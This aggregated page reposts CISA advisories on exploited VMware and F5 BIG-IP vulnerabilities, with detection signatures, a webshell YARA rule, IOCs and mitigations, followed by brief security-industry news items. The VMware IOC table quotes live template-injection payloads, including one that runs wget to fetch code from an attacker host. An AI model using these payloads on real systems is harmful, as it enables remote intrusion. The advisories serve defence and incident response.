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Category Cybersecurity Alerts, News, and Tips

AA22-138B: Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control

Read the original article at https://us-cert.cisa.gov/ncas/alerts/aa22-138b

Original release date: May 18, 2022

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory (CSA) to warn organizations that malicious cyber actors, likely advanced persistent threat (APT) actors, are exploiting CVE-2022-22954 and CVE-2022-22960 separately and in combination. These vulnerabilities affect certain versions of VMware Workspace ONE Access, VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, and vRealize Suite Lifecycle Manager. Exploiting these vulnerabilities permits malicious actors to trigger a server-side template injection that may result in remote code execution (RCE) (CVE-2022-22954) or escalation of privileges to root (CVE-2022-22960). 

VMware released updates for both vulnerabilities on April 6, 2022, and, according to a trusted third party, malicious cyber actors were able to reverse engineer the updates to develop an exploit within 48 hours and quickly began exploiting the disclosed vulnerabilities in unpatched devices. CISA was made aware of this exploit a week later and added CVE-2022-22954 and CVE-2022-22960 to its catalog of Known Exploited Vulnerabilities on April 14 and April 15, respectively. In accordance with Binding Operational Directive (BOD) 22-01, Reducing the Significant Risk of Known Exploited Vulnerabilities, federal agencies were required to apply updates for CVE-2022-22954 and CVE-2022-22960 by May 5, and May 6, 2022, respectively

Note: based on this activity, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. In response, CISA has released, Emergency Directive (ED) 22-03 Mitigate VMware Vulnerabilities, which requires emergency action from Federal Civilian Executive Branch agencies to either immediately implement the updates in VMware Security Advisory VMSA-2022-0014 or remove the affected software from their network until the updates can be applied.

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information—including indicators of compromise (IOCs)—about observed exploitation at multiple other large organizations from trusted third parties.

This CSA provides IOCs and detection signatures from CISA as well as from trusted third parties to assist administrators with detecting and responding to this activity. Due to the rapid exploitation of these vulnerabilities, CISA strongly encourages all organizations with internet-facing affected systems—that did not immediately apply updates—to assume compromise and initiate threat hunting activities using the detection methods provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 232kb).

Technical Details

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information about observed exploitation of CVE-2022-22954 and CVE-2022-22960 by multiple threat actors at multiple other large organizations from trusted third parties.

  • CVE-2022-22954 enables an actor with network access to trigger a server-side template injection that may result in RCE. This vulnerability affects the following products:[1]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • VMware Cloud Foundation, 4.x
    • vRealize Suite LifeCycle Manager, 8.
  • CVE-2022-22960 enables a malicious actor with local access to escalate privileges to root due to improper permissions in support scripts. This vulnerability affects the following products:[2]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM, versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • vRA, version 7.6 
    • VMware Cloud Foundation, 3.x, 4.x, 
    • vRealize Suite LifeCycle Manager, 8.x

According to trusted third-party reporting, threat actors may chain these vulnerabilities. At one compromised organization, on or around April 12, 2022, an unauthenticated actor with network access to the web interface leveraged CVE-2022-22954 to execute an arbitrary shell command as a VMware user. The actor then exploited CVE-2022-22960 to escalate the user’s privileges to root. With root access, the actor could wipe logs, escalate permissions, and move laterally to other systems.

Threat actors have dropped post-exploitation tools, including the Dingo J-spy webshell. During incident response activities, CISA observed, on or around April 13, 2022, threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell. Around the same period, a trusted third party observed threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell at one other organization. According to the third party, the actors may have also dropped the Dingo J-spy webshell at a third organization. Note: analysis of the first compromise and associated malware is ongoing, and CISA will update information about this case as we learn more.

Detection Methods

Signatures

Note: servers vulnerable to CVE-2022-22954 may use Hypertext Transfer Protocol Secure (HTTPS) to encrypt client/server communications. Secure Sockets Layer (SSL)/Transport Layer Security (TLS) decryption can be used as a workaround for network-based detection and threat hunting efforts.

The following CISA-created Snort signature may detect malicious network traffic related to exploitation of CVE-2022-22954:

alert tcp any any -> any $HTTP_PORTS (msg:”VMware:HTTP GET URI contains ‘/catalog-portal/ui/oauth/verify?error=&deviceUdid=’:CVE-2022-22954″; sid:1; rev:1; flow:established,to_server; content: “GET”; http_method; content:”/catalog-portal/ui/oauth/verify?error=&deviceUdid=”; http_uri; reference:cve,2022-22954; reference:url,github.com/sherlocksecurity/VMware-CVE-2022-22954; reference:url,github.com/tunelko/CVE-2022-22954-PoC/blob/main/CVE-2022-22954.py; priority:2; metadata:service http;)

The following third-party Snort signature may detect exploitation of VMware Workspace ONE Access server-side template injection:

10000001alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”Workspace One Serverside Template Injection”;content:”GET”; http_method; content:”freemarker.template.utility.Execute”;nocase; http_uri; priority:1; sid:;rev:1;)

The following third-party YARA rule may detect unmodified instances of the Dingo J-spy webshell on infected hosts:

rule dingo_jspy_webshell
{
strings:
$string1 = “dingo.length”
$string2 = “command = command.trim”
$string3 = “commandAction”
$string4 = “PortScan”
$string5 = “InetAddress.getLocalHost”
$string6 = “DatabaseManager”
$string7 = “ExecuteCommand”
$string8 = “var command = form.command.value”
$string9 = “dingody.iteye.com”
$string10 = “J-Spy ver”
$string11 = “no permission ,die”
$string12 = “int iPort = Integer.parseInt”
condition:
filesize < 50KB and 12 of ($string*)
}

Note: the Dingo J-spy webshell is an example of post-exploitation tools that actors have used. Administrators should examine their network for any sign of post-exploitation activity.

Behavioral Analysis and Indicators of Compromise

Administrators should conduct behavioral analysis on root accounts of vulnerable systems by:

  • Using the indicators listed in table 1 to detect potential malicious activity.
  • Reviewing systems logs and gaps in logs.
  • Reviewing abnormal connections to other assets.
  • Searching the command-line history.
  • Auditing running processes.
  • Reviewing local user accounts and groups.  
  • Auditing active listening ports and connections.

 

Table 1: Third-party IOCs for Exploitation of CVE-2022-22954 and CVE-2022-22960

Indicator

Comment

IP Addresses

136.243.75[.]136

On or around April 12, 2022, malicious cyber actors may have used this German-registered IP address to conduct the activity. However, the actors may have used the Privax HMA VPN client to conduct operations.

Scanning, Exploitation Strings, and Commands Observed

catalog-portal/ui/oauth/verify 

 

catalog

portal/ui/oauth/verify?error=&deviceUdid=${“freemarker.template.utility.Execute”?new()(“cat  /etc/hosts”)}  

 

/catalog

portal/ui/oauth/verify?error=&deviceUdid=${“freemarker.template.utility.Execute”?new()(“wget  -U “Hello 1.0″ -qO – http://[REDACTED]/one”)} 

 

freemarker.template.utility.Execute

Search for this function in:

opt/vmware/horizon/workspace/logs/greenbox_web.log.

 

freemarker.template.utility.Execute may be legitimate but could also indicate malicious shell commands.

/opt/vmware/certproxy/bing/certproxyService.sh 

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

/horizon/scripts/exportCustomGroupUsers.sh

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

/horizon/scripts/extractUserIdFromDatabase.sh 

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

Files

horizon.jsp 

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 

jquery.jsp

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 

Webshells

jspy 

 

godzilla  

 

tomcatjsp 

 

Incident Response

If administrators discover system compromise, CISA recommends they:

  1. Immediately isolate affected systems. 
  2. Collect and review relevant logs, data, and artifacts.
  3. Consider soliciting support from a third-party incident response organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
  4. Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870)

Mitigations

CISA recommends organizations update impacted VMware products to the latest version or remove impacted versions from organizational networks. CISA does not endorse alternative mitigation options. As noted in ED 22-03 Mitigate VMware Vulnerabilities, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. ED 22-03 directs all Federal Civilian Executive Branch agencies to enumerate all instances of impacted VMware products and deploy updates in VMware Security Advisory VMSA-2022-0014 or to remove the affected software from the agency network until the updates can be applied.

Resources

Contact Information

CISA encourages recipients of this CSA to report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870)

References

Revisions

  • Initial Version: May 18, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Read the original article at https://us-cert.cisa.gov/ncas/alerts/aa22-138b

CISA Issues Emergency Directive and Releases Advisory Related to VMware Vulnerabilities

Read the original article at https://us-cert.cisa.gov/ncas/current-activity/2022/05/18/cisa-issues-emergency-directive-and-releases-advisory-related

Original release date: May 18, 2022

CISA has issued Emergency Directive (ED) 22-03 and released a Cybersecurity Advisory (CSA) in response to active and expected exploitation of multiple vulnerabilities in the following VMware products: VMware Workspace ONE Access (Access), VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, vRealize Suite Lifecycle Manager.

The CSA, AA22-138B: Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control, provides indicators of compromise and detection signatures from CISA as well as trusted third parties to assist administrators with detecting and responding to active exploitation of CVE-2022-22954 and CVE-2022-22960.  Malicious cyber actors were able to reverse engineer the vendor updates to develop an exploit within 48 hours and quickly began exploiting these disclosed vulnerabilities in unpatched devices. Based on this activity, CISA expects malicious cyber actors to quickly develop a capability to exploit CVE-2022-22972 and CVE-2022-22973, which were disclosed by VMware on May 18, 2022. 

ED 22-03 directs all Federal Civilian Executive Branch agencies to enumerate all instances of affected VMware products and either deploy updates provided in VMware Security Advisory VMSA-2022-0014, released May 18, 2022, or remove those instances from agency networks.

CISA strongly encourages all organizations to deploy updates provided in VMware Security Advisory VMSA-2022-0014 or remove those instances from networks. CISA also encourages organizations with affected internet-facing VMware products—that have not immediately applied updates for CVE-2022-22954 and CVE-2022-22960—to assume compromise and initiate threat hunting activities using the detection methods provided in the CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in the CSA.

This product is provided subject to this Notification and this Privacy & Use policy.

Read the original article at https://us-cert.cisa.gov/ncas/current-activity/2022/05/18/cisa-issues-emergency-directive-and-releases-advisory-related

Managed Security Services Provider (MSSP) Market News: 18 May 2022

Read the original article at https://www.msspalert.com/cybersecurity-news/updates-18-may-2022/

Today’s MSSP market news involves Active Cyber, Augmentt, Booz Allen Hamilton, eSentire, Seclore, SecZetta, Sevco Security, ThreatX & more.

The post Managed Security Services Provider (MSSP) Market News: 18 May 2022 appeared first on MSSP Alert.

Read the original article at https://www.msspalert.com/cybersecurity-news/updates-18-may-2022/

AA22-138A: Threat Actors Exploiting F5 BIG-IP CVE-2022-1388

Read the original article at https://us-cert.cisa.gov/ncas/alerts/aa22-138a

Original release date: May 18, 2022

Summary

Actions for administrators to take today:
• Do not expose management interfaces to the internet.
• Enforce multi-factor authentication.
• Consider using CISA’s Cyber Hygiene Services.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are releasing this joint Cybersecurity Advisory (CSA) in response to active exploitation of CVE-2022-1388. This recently disclosed vulnerability in certain versions of F5 Networks, Inc., (F5) BIG-IP enables an unauthenticated actor to gain control of affected systems via the management port or self-IP addresses. F5 released a patch for CVE-2022-1388 on May 4, 2022, and proof of concept (POC) exploits have since been publicly released, enabling less sophisticated actors to exploit the vulnerability. Due to previous exploitation of F5 BIG-IP vulnerabilities, CISA and MS-ISAC assess unpatched F5 BIG-IP devices are an attractive target; organizations that have not applied the patch are vulnerable to actors taking control of their systems.

According to public reporting, there is active exploitation of this vulnerability, and CISA and MS-ISAC expect to see widespread exploitation of unpatched F5 BIG-IP devices (mostly with publicly exposed management ports or self IPs) in both government and private sector networks. CISA and MS-ISAC strongly urge users and administrators to remain aware of the ramifications of exploitation and use the recommendations in this CSA—including upgrading their software to fixed versions—to help secure their organization’s systems against malicious cyber operations. Additionally, CISA and MS-ISAC strongly encourage administrators to deploy the signatures included in this CSA to help determine whether their systems have been compromised. CISA and MS-ISAC especially encourage organizations who did not patch immediately or whose F5 BIG-IP device management interface has been exposed to the internet to assume compromise and hunt for malicious activity using the detection signatures in this CSA. If potential compromise is detected, organizations should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 500kb).

Technical Details

CVE-2022-1388 is a critical iControl REST authentication bypass vulnerability affecting the following versions of F5 BIG-IP:[1]

  • 16.1.x versions prior to 16.1.2.2 
  • 15.1.x versions prior to 15.1.5.1 
  • 14.1.x versions prior to 14.1.4.6 
  • 13.1.x versions prior to 13.1.5 
  • All 12.1.x and 11.6.x versions

An unauthenticated actor with network access to the BIG-IP system through the management port or self IP addresses could exploit the vulnerability to execute arbitrary system commands, create or delete files, or disable services. F5 released a patch for CVE-2022-1388 for all affected versions—except 12.1.x and 11.6.x versions—on May 4, 2022 (12.1.x and 11.6.x versions are end of life [EOL], and F5 has stated they will not release patches).[2]

POC exploits for this vulnerability have been publicly released, and on May 11, 2022, CISA added this vulnerability its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. Due to the POCs and ease of exploitation, CISA and MS-ISAC expect to see widespread exploitation of unpatched F5 BIG-IP devices in government and private networks. 

Dection Methods

CISA recommends administrators, especially of organizations who did not immediately patch, to:

  • See the F5 Security Advisory K23605346 for indicators of compromise. 
  • See the F5 guidance K11438344 if you suspect a compromise. 
  • Deploy the following CISA-created Snort signature:
alert tcp any any -> any $HTTP_PORTS (msg:”BIG-IP F5 iControl:HTTP POST URI ‘/mgmt./tm/util/bash’ and content data ‘command’ and ‘utilCmdArgs’:CVE-2022-1388”; sid:1; rev:1; flow:established,to_server; flowbits:isnotset,bigip20221388.tagged; content:”POST”; http_method; content:”/mgmt/tm/util/bash”; http_uri; content:”command”; http_client_body; content:”utilCmdArgs”; http_client_body; flowbits:set,bigip20221388.tagged; tag:session,10,packets; reference:cve-2022-1388; reference:url,github.com/alt3kx/CVE-2022-1388_PoC; priority:2; metadata:service http;)

Additional resources to detect possible exploitation or compromise are identified below:

  • Emerging Threats suricata signatures. Note: CISA and MS-ISAC have verified these signatures are successful in detection of both inbound exploitation attempts (SID: 2036546) as well as post exploitation, indicating code execution (SID: 2036547).
    • SID 2036546
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”ET EXPLOIT F5 BIG-IP iControl REST Authentication Bypass (CVE 2022-1388) M1″; flow:established,to_server; content:”POST”; http_method; content:”/mgmt/tm/util/bash”; http_uri; fast_pattern; content:”Authorization|3a 20|Basic YWRtaW46″; http_header; content:”command”; http_client_body; content:”run”; http_client_body; distance:0; content:”utilCmdArgs”; http_client_body; distance:0; http_connection; content:”x-F5-Auth-Token”; nocase; http_header_names; content:!”Referer”; content:”X-F5-Auth-Token”; flowbits:set,ET.F5AuthBypass; reference:cve,2022-1388; classtype:trojan-activity; sid:2036546; rev:2; metadata:attack_target Web_Server, created_at 2022_05_09, deployment Perimeter, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, signature_severity Major, updated_at 2022_05_09;
  • SID SID 2036547
alert http $HOME_NET any -> any any (msg:”ET EXPLOIT F5 BIG-IP iControl REST Authentication Bypass Server Response (CVE 2022-1388)”; flow:established,to_client; flowbits:isset,ET.F5AuthBypass; content:”200″; http_stat_code; file_data; content:”kind”; content:”tm|3a|util|3a|bash|3a|runstate”; fast_pattern; distance:0; content:”command”; distance:0; content:”run”; distance:0; content:”utilCmdArgs”; distance:0; content:”commandResult”; distance:0; reference:cve,2022-1388; classtype:trojan-activity; sid:2036547; rev:1; metadata:attack_target Web_Server, created_at 2022_05_09, deployment Perimeter, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, signature_severity Major, updated_at 2022_05_09;)

 

Incident Response 

If an organization’s IT security personnel discover system compromise, CISA and MS-ISAC recommend they:

  1. Quarantine or take offline potentially affected hosts.
  2. Reimage compromised hosts.
  3. Provision new account credentials.
  4. Limit access to the management interface to the fullest extent possible.
  5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
  6. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722).

See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA and MS-ISAC also encourage government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response. 

Mitigations

CISA and MS-ISAC recommend organizations:

  • Upgrade F5 BIG-IP software to fixed versions; organizations using versions 12.1.x and 11.6.x should upgrade to supported versions. 
  • If unable to immediately patch, implement F5’s temporary workarounds:
    • Block iControl REST access through the self IP address.
    • Block iControl REST access through the management interface.
    • Modify the BIG-IP httpd configuration. 

See F5 Security Advisory K23605346 for more information on how to implement the above workarounds. 

CISA and MS-ISAC also recommend organizations apply the following best practices to reduce risk of compromise:

  • Maintain and test an incident response plan.
  • Ensure your organization has a vulnerability program in place and that it prioritizes patch management and vulnerability scanning. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all SLTT organizations and public and private sector critical infrastructure organizations: https://www.cisa.gov/cyber-hygiene-services.
  • Properly configure and secure internet-facing network devices.
    • Do not expose management interfaces to the internet.
    • Disable unused or unnecessary network ports and protocols.
    • Disable/remove unused network services and devices.
  • Adopt zero-trust principles and architecture, including:
    • Micro-segmenting networks and functions to limit or block lateral movements.
    • Enforcing multifactor authentication (MFA) for all users and VPN connections.
    • Restricting access to trusted devices and users on the networks.

References

Revisions

  • Initial Version: May 18, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Read the original article at https://us-cert.cisa.gov/ncas/alerts/aa22-138a

Threat Actors Exploiting F5 BIG IP CVE-2022-1388

Read the original article at https://us-cert.cisa.gov/ncas/current-activity/2022/05/18/threat-actors-exploiting-f5-big-ip-cve-2022-1388

Original release date: May 18, 2022

CISA and the Multi-State Information Sharing and Analysis Center (MS-ISAC) have released the joint Cybersecurity Advisory Threat Actors Exploiting F5 BIG-IP CVE-2022-1388 in response to active exploitation of CVE-2022-1388, which affects F5 Networks BIG-IP devices. The vulnerability allows an unauthenticated actor to gain control of affected systems via the management port or self-IP addresses.

CISA encourages users and administrators to review the joint advisory for detection methods and mitigations, which include updating F5 BIG-IP software, or, if unable to immediately update, applying temporary workarounds.  

This product is provided subject to this Notification and this Privacy & Use policy.

Read the original article at https://us-cert.cisa.gov/ncas/current-activity/2022/05/18/threat-actors-exploiting-f5-big-ip-cve-2022-1388

MDR MSSPs Can Save the Day for SMB Clients

Read the original article at https://www.msspalert.com/cybersecurity-guests/mdr-mssps-can-save-the-day-for-smb-clients/

Through partnership, MSSPs can offer valuable MDR (Managed Detection & Response) services to mitigate cybersecurity risks for customers.

The post MDR MSSPs Can Save the Day for SMB Clients appeared first on MSSP Alert.

Read the original article at https://www.msspalert.com/cybersecurity-guests/mdr-mssps-can-save-the-day-for-smb-clients/

The Four Horsemen of Software Supply Chain Attacks

Read the original article at https://www.msspalert.com/cybersecurity-guests/the-four-horsemen-of-software-supply-chain-attacks/

2022 is starting to look like the year of the supply chain attack. But why are threat actors so attracted to this kind of attack?

The post The Four Horsemen of Software Supply Chain Attacks appeared first on MSSP Alert.

Read the original article at https://www.msspalert.com/cybersecurity-guests/the-four-horsemen-of-software-supply-chain-attacks/

Blackpoint Cyber Identifies BlackCat Ransomware TTPs: What MSPs, MSSPs Need to Know

Read the original article at https://www.msspalert.com/cybersecurity-research/blackpoint-cyber-identifies-blackcat-ransomware-ttps/

Blackpoint Cyber, a managed detection & response (MDR) services provider, discovers TTPs attributed to BlackCat ransomware-as-a-services (RaaS) threat actors.

The post Blackpoint Cyber Identifies BlackCat Ransomware TTPs: What MSPs, MSSPs Need to Know appeared first on MSSP Alert.

Read the original article at https://www.msspalert.com/cybersecurity-research/blackpoint-cyber-identifies-blackcat-ransomware-ttps/

Thales Buys European Cybersecurity Companies S21sec, Excellium for 2X Revenues

Read the original article at https://www.msspalert.com/investments/thales-buys-european-cybersecurity-companies-s21sec-excellium-for-2x-revenues/

Thales buys sister cybersecurity companies S21sec & Excellium for incident response & security operations services. M&A valuation: 2X annual sales.

The post Thales Buys European Cybersecurity Companies S21sec, Excellium for 2X Revenues appeared first on MSSP Alert.

Read the original article at https://www.msspalert.com/investments/thales-buys-european-cybersecurity-companies-s21sec-excellium-for-2x-revenues/